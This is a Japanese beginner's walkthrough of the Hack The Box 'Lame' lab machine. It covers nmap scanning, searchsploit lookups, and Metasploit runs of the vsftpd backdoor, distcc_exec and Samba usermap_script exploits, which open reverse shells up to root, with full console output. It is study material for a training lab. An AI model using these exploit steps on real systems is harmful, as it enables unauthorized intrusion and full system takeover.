筆者は Hack the Box 超絶初心者です。 (今回で machine 攻略 2 つ目)
なので、説明ガバガバな部分もあるかと思いますが、何か訂正などありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter
cheat sheet
以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET
machine について
難易度は easy です。(easy の中でもかなり easy な部類です)
OSCP like な machine だそうです。 OSCP に類似している HTB マシン(Linux)
nmap する
kali@kali:~$ nmap -A -Pn 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 22:23 EST
Nmap scan report for 10.10.10.3
Host is up (0.20s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.2
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.99 seconds
わからない部分を調べていきます。
ftp - File Transfer Protocol
OpenSSH - ssh接続を可能にするソフトウェア
netbios-ssn - Windowsのファイル・アクセスには、「SMB(Server Message Block)」と呼ばれるアプリケーション層のプロトコルが利用されており、その下位のトランスポート層のサービスを呼び出すためにNetBIOSと呼ばれるインターフェイスが使われている。ファイル/プリンタ共有に使用されるのがnetbios-ssn。
(一部引用) Windows のファイル共有に用いられる NetBIOS とは?
searchsploit で exploit を探す
samba で調べると山ほど出てきてしまいましたが、vsftpd はピンポイントで 2.3.4 に Backdoor Command Execution がありました。
kali@kali:~$ searchsploit vsftpd
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | exploits/linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | exploits/windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | exploits/windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | exploits/linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | exploits/unix/remote/17491.rb
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
vsftpd の Backdoor Command Execution を metasploit で試してみる
kali@kali:~$ msfconsole
[-] ***rting the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***
Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018 es: 0018 ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)
Stack: 90909090990909090990909090
90909090990909090990909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900
..........................
cccccccccccccccccccccccccc
cccccccccccccccccccccccccc
ccccccccc.................
cccccccccccccccccccccccccc
cccccccccccccccccccccccccc
.................ccccccccc
cccccccccccccccccccccccccc
cccccccccccccccccccccccccc
..........................
ffffffffffffffffffffffffff
ffffffff..................
ffffffffffffffffffffffffff
ffffffff..................
ffffffff..................
ffffffff..................
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing
=[ metasploit v5.0.71-dev ]
+ -- --=[ 1962 exploits - 1095 auxiliary - 336 post ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 > search vsftpd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > rhosts 10.10.10.3
`[-] Unknown command: rhosts.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
ダメでした。
似たようなことをやっていた以下の writeup よると Keep Calm and Hack The Box - Lame
This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.
一定の期間に配布された vsftpd でのみ使用できる exploit だったようです。
方向転換 - 再度 nmap を使う
nmap で全ポートをスキャンする -p-
を使用して再度スキャンを行います。
(時間結構かかります。)
kali@kali:~$ nmap -A -p- -Pn 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-22 00:30 EST
Nmap scan report for 10.10.10.3
Host is up (0.18s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.2
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 424.53 seconds
新しく 3632 番ポートが見つかりました。
Distccd を調べてみます。 以下のページによると
Distcc はネットワーク上のホストで分散コンパイルを行うためのプログラムで、サーバー側である distccd とクライアント側である distcc で構成されています。
distccd の exploit を探す
distccd で調べてもヒットしませんでしたが、distcc で調べると一件ヒットしました。
kali@kali:~$ searchsploit distccd
Exploits: No Result
Shellcodes: No Result
kali@kali:~$ searchsploit distcc
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
DistCC Daemon - Command Execution (Metasploit) | exploits/multiple/remote/9915.rb
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
metasploit で発見した exploit を使う
msf5 > search distccd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution
msf5 > use exploit/unix/misc/distcc_exec
msf5 exploit(unix/misc/distcc_exec) > options
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3632 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
msf5 exploit(unix/misc/distcc_exec) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP double handler on 10.10.14.2:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo CIL3xsonINn4nN5q;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "CIL3xsonINn4nN5q\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.3:34512) at 2020-02-22 00:55:11 -0500
成功します。
user.txt の取得
user.txt は簡単に取得できます。
whoami
daemon
ls
5147.jsvc_up
cd
sh: line 8: cd: HOME not set
cd /home
ls
ftp
makis
service
user
cd user
ls
cd ..
cd makis
ls
user.txt
cat user.txt
hogehoge
cd ..
cd ftp
ls
cd ..
cd service
ls
cd ..
ls
ftp
makis
service
user
cd /
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd root
ls
Desktop
reset_logs.sh
root.txt
vnc.log
cat root.txt
cat: root.txt: Permission denied
(コマンドの入力出力がみにくいので、改行を入れています。)
当たり前ですが、権限が足りず root.txt は取れません
権限を上げる方法が分からなかったので、一旦撤退
一旦撤退して Samba をせめてみます。 以降以下の writeup を参考にして進めます。 Hackthebox – Lame
Samba の version が分からないとどの exploit を使用すればいいかわかりません。 なので scanner/smb/smb_version を用いて samba の version を調べてみます。
msf5 > search smb/smb_version
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/smb/smb_version normal No SMB Version Detection
msf5 > use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
msf5 auxiliary(scanner/smb/smb_version) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 auxiliary(scanner/smb/smb_version) > run
[*] 10.10.10.3:445 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 10.10.10.3:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Samba の version が 3.0.20-Debian
であることがわかります。
Samba 3.0.20-Debian の exploit を探す
kali@kali:~$ searchsploit samba 3.0.20
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | exploits/unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | exploits/linux/remote/7701.txt
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
上の 'Username' map script'
を metasploit で使うことにします。
metasploit で root とる
msf5 > use exploit/multi/samba/usermap_script
msf5 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 139 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP double handler on 10.10.14.2:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo AgFum7iWVU367md1;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "AgFum7iWVU367md1\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.3:53617) at 2020-02-22 03:53:03 -0500
whoami
root
cd /
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd root
cat root.txt
hogehoge
すんなり行けました!
その他の手法を用いてる writeup
昔は samba のバージョンが nmap で出てきていたらしくそれを用いて一発で multi/samba/usermap_script を使用し終わっている writeup が多かったです。
以下はそれ以外の writeup です。
https://medium.com/@nmappn/lame-hack-the-box-without-metasploit-1b3a138f9206
- Samba の exploit をする際に metasploit を使わないパターンも書いてある
https://blog.csdn.net/fastergohome/article/details/104131154
- samba 3.0-4.0 の exploit を当たりまくっている(道中で version を確定させて multi/samba/usermap_script を使う)
終わりに
今回は user.txt まではほぼ自力で行けましたが、そこから Samba の version 調べて、Samba に exploit の流れは色んな write-up を参考にして進めました。
easy の machine くらい最後まで自力で解けるようになりたいです。頑張ります。